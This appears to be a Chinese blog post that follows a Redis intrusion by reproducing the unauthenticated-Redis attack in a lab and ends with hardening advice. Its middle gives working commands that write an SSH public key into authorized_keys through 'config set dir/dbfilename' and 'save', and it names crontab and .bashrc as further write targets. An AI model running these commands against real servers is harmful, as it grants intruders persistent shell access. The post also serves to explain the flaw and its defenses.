公司服务器使用Redis集群,最近发现数据异常丢失。多方排除,找出问题。发现是Redis被人攻击,Redis中有开发了远程连接断开,被恶意用户远程登录后,注入了一些文件。

通过百度等各种途径,了解到了Redis的攻击方式,今天特意模拟了下,通过Redis漏洞,获取服务器权限,远程ssh登录。

排查过程,可以查看另外一篇文章Redis集群数据异常丢失,发现挖矿程序

安装Redis

为模拟,先安装redis,而且是以漏洞方式启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
yum install redis
chmod 0777 /var/log/redis/redis.log
service redis start

# 查看是否正常启动
ps aux | grep redis

# 测试
redis-cli ping
# 返回PONG

#修改端口绑定
vi /etc/redis.conf
# bind 127.0.0.1
bind 0.0.0.0

# 重启redis
# service redis restart 不能用此启动,此是用redis用户启动
sudo redis-server /etc/redis.conf
# 查看启动用户,此时看到redis是以root用户启动

开放端口

开发服务器6379端口

vim /etc/sysconfig/iptables

添加

1
-A INPUT -m state --state NEW -m tcp -p tcp --dport 6379 -j ACCEPT

重启防火墙

1
service iptables restart

本地远程telnet测试

1
2
# *.*.*.* 为对应Ip地址
telnet *.*.*.* 6379
1
2
3
Trying 108.61.91.144...
Connected to 108.61.91.144.
Escape character is '^]'.

输入

1
2
3
4
5
echo hello

#响应如下
$5
hello

这样攻击前的Redis配置完成。

准备SSH秘钥

首次生成`ssh秘钥和公钥

1
ssh-keygen -t rsa -C "crackit@redis.io" -f redis

-f 指定文件名为redis

返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in redis.
Your public key has been saved in redis.pub.
The key fingerprint is:
SHA256:PYdV3b/vQ4uoysg/5PyoIIeD2m/0hMs/q1F8qVouKmc pangxieke@redis.io
The key's randomart image is:
+---[RSA 2048]----+
| ...|
| . o|
| . .|
| . o o .|
| .o S + . .|
|. . o..+ o o |
|.+ =.+* . o o|
|o.E B==+. . . o.|
|.+o++B*B+o. .o|
+----[SHA256]-----+

这时在刚才目录能够看到文件

1
2
3
ls redis

redis redis.pub

开始攻击,通过Redis注入秘钥

将公钥写入本地文件

1
(echo -e "\n\n";cat redis.pub; echo -e "\n\n") >foo.txt

主要是在公钥前后加上换行符

1
2
3
4
5
6
# *.*.*.* 替换为对应Ip地址
# flushall清楚所有数据
redis-cli -h *.*.*.* -p 6379 flushall

# 将秘钥写入redis,key为crackit,key可以指定为任何字符
cat foo.txt |redis-cli -h 108.61.91.144 -p 6379 -x set crackit

关键部分,修改redis配置,覆盖系统秘钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 登录redis
redis-cli -h *.*.*.* -p 6379

config set dir /home/user/.ssh
# 可能提示 (error) ERR Changing directory: No such file or directory

config get dir
1) "dir"
2) "/var/log/redis"

config set dbfilename "authorized_keys"
config get dbfilename
1) "dbfilename"
2) "authorized_keys"

# 使用save命令,/var/log/redis下会生成authorized_keys文件
save

此时服务器上会生成/var/log/redis/authorized_keys文件

查看该文件,会发现秘钥已经写入

1
2
3
4
5
6
7
8
9
REDIS0007ú      redis-ver^F3.2.12ú
redis-bitsÀ@ú^EctimeÂ<8f>»Ç]ú^Hused-memÂ`h^L^@þ^@û^A^@^@^GcrackitA<94>


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6LP+rXVDwPVxyYNpxVWgIGnLM7QlK0kQpu6bPbkf2sbfSL0pYpCKoUS5zGeQwdwe91bKCaoZV5WyvQAxMf9i0af0tdK1b8Af+FUS2OYoytWpygd2QOw1viAGiROOmUrm7JmxCHjTVmiUMlfIz6Vh4KVPSe1ibpRmRZe8VllD2MzHf43TlahnEmx/3LLZvkC9N/blZe5n+QUkx9fulHQKD6FXu31qFwk9N6UvyRhAZREQZXjutBlNn6Lz2PUfrfMAl0KstU895PjSKP4QnDAiGDQX+kRiWqUYnnjqCkIkhdy32jtT0RT5JDwHXm/kNic3iQnv02o4HNX2fLltnCLgD crackit@redis.io



ÿÊ<9b>à^^o#C<98>

config set dir /home/user/.ssh

可能提示 (error) ERR Changing directory: No such file or directory

我们可以先在服务器上创建一个测试用户

1
2
useradd test
mkdir /home/test/.ssh

此时,再执行上面操作,就会在/home/test/.ssh文件夹下,生成authorized_keys文件,其中就包含了秘钥,此时就可以远程登录了。

1
ssh test@108.61.91.144 -i redis

同样的方法,我们可以写入计划任务或者其他脚本文件等

/etc/crontab /var/spool/cron/crontabs ~/.profile ~/.bashrc

总结

通过测试,我们发现攻击的根本漏洞是,redis用root用户启动时。会有很高的权限。如果能够远程登录后,通过Redis系统命令,把文件写到相应路径,从而达到相应目的。

redis系统命令

1
2
config set dir
config set dbfilename

Redis bind 误区

注意Redis中bind理解的一个误区

1
2
3
bind 127.0.0.1   就是用来限制只有本机可以连接redis服务连接

bind 0.0.0.0 就是用来允许任意计算机都可以连接redis服务连接。

注意:以上的理解都是错误的

bind:是绑定本机的IP地址,(准确的是:本机的网卡对应的IP地址,每一个网卡都有一个IP地址)。

如果指定了bind,则说明只允许来自指定网卡的Redis请求。如果没有指定,就说明可以接受来自任意一个网卡的Redis请求。

如果你的bind设置为:****bind 127.0.0.1****,这是非常安全的,因为只有本台主机可以连接到redis。

127.0.0.1IP地址:是一个回环地址(Local Loopback),也就是只有本地才能访问到这个回环地址,而其他的计算机也只能访问他们自己的回环地址。

详细可以查看相关文章:Redis的bind的误区

防范措施

防止远程登录redis

  • 禁止公网开放 Redis 端口
  • 增加 Redis 密码验证

防止Redis修改系统文件

  • 非 root 权限启动 Redis

参考文章

记redis被攻击笔记

记一次Redis被攻击的事件

Redis的bind的误区